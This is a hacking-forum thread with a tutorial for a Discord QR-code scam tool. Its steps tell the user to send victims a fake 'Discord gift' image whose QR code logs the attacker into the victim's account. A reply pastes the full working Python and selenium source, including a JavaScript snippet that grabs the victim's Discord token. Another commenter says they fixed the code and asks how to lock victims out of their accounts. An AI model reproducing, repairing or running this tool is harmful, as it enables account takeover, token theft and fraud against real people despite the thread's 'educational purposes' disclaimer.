Tutorial Below: - Download the resources needed here -

  • First of all, click here to download the tool.
  • If you don’t have python installed, download python 3.7.6 and make sure you click on the ‘ADD TO PATH’ option during the installation.
  • Install the required modules > pip install -r requirements.txt or double click pip_install_requirements.bat
  • Type python QR_Generator.py in cmd to run or double click run_script.bat
  • Wait for the discord_gift.png to be generated. Send the image to the victim and make them scan it.
  • QR Code only lasts about 2 minutes. Make sure you send a fresh one to the victim and he is ready to scan.
  • When the QR Code is scanned, you will automatically be logged in to their account and the script will grab the Discord token.

Usage Example:

117522092-fd79ff80-afe3-11eb-938c-23dd68

Tool Link (Github) - NightfallGT/Discord-QR-Scam

Disclaimer
This content has been shared under Educational And Non-Profit Purposes Only.
No Copyright Infringement Intended, All Rights Reserved to the Actual Owner.
Hacksnation.com cannot be liable for what a person decides to do with this knowledge.
Hacksnation.com has no control over the shared content and nature of the external sites.

    3 months later
    a year later

    xa- there are few errors with this code, I worked them out and the code is working again but I don’t get whats the point of this. You log in but you cant change there password since you need the older one for that, what are we supposed to do after we log in to get the original person to loose access. I don’t see how making them loose the access is possible here.

    whywhwhy

    you can use this code, somehow uploading a py file isn’t allowed here, so copy pasted the code

    from bs4 import BeautifulSoup
    from selenium import webdriver
    from PIL import Image
    import base64
    import time
    import os
    import requests
    
    # Developer: NightfallGT
    # Educational purposes only
    
    def logo_qr():
        im1 = Image.open('temp/qr_code.png', 'r')
        im2 = Image.open('temp/overlay.png', 'r')
        im2_w, im2_h = im2.size
        im1.paste(im2, (60, 55))
        im1.save('temp/final_qr.png', quality=95)
    
    def paste_template():
        im1 = Image.open('temp/template.png', 'r')
        im2 = Image.open('temp/final_qr.png', 'r')
        im1.paste(im2, (120, 409))
        im1.save('discord_gift.png', quality=95)
    
    def main():
        print('github.com/NightfallGT/Discord-QR-Scam\n')
        print('** QR Code Scam Generator **')
    
        options = webdriver.ChromeOptions()
        options.add_experimental_option('excludeSwitches', ['enable-logging'])
        options.add_experimental_option('detach', True)
        driver = webdriver.Chrome(options=options, executable_path=r'chromedriver.exe')
    
        driver.get('https://discord.com/login')
        time.sleep(5)
        print('- Page loaded.')
    
        page_source = driver.page_source
    
        soup = BeautifulSoup(page_source, features='lxml')
    
        div = soup.find('div', {'class': 'qrCodeOverlay-2bLtKl'})
        
        # qr_code = div.find('img')['src']
        qrs = soup.select('div img')
        qr_code=qrs[0]['src']
        # image_data = requests.get(qr_code).content
        img_data =  base64.b64decode(qr_code.replace('data:image/png;base64,', ''))
        file = os.path.join(os.getcwd(), 'temp/qr_code.png')
        print(qr_code)
        # img_data =  base64.b64decode(base64.b64encode(qr_code))
        # print(img_data)
        with open(file,'wb') as handler:
            handler.write(img_data)
    
        discord_login = driver.current_url
        logo_qr()
        paste_template()
    
        print('- QR Code has been generated. > discord_gift.png')
        print('Send the QR Code to user and scan. Waiting..')
        
        while True:
            if discord_login != driver.current_url:
                print('Grabbing token..')
                token = driver.execute_script('''
    
        var req = webpackJsonp.push([
            [], {
                extra_id: (e, t, r) => e.exports = r
            },
            [
                ["extra_id"]
            ]
        ]);
        for (let e in req.c)
            if (req.c.hasOwnProperty(e)) {
                let t = req.c[e].exports;
                if (t && t.__esModule && t.default)
                    for (let e in t.default) "getToken" === e && (token = t.default.getToken())
            }
        return token;   
                    ''')
                print('---')
                print('Token grabbed:',token)
                break
    
        print('Task complete.')
    
    if __name__ == '__main__':
        main()
    a year later

    this is the error

    • xa- replied to this.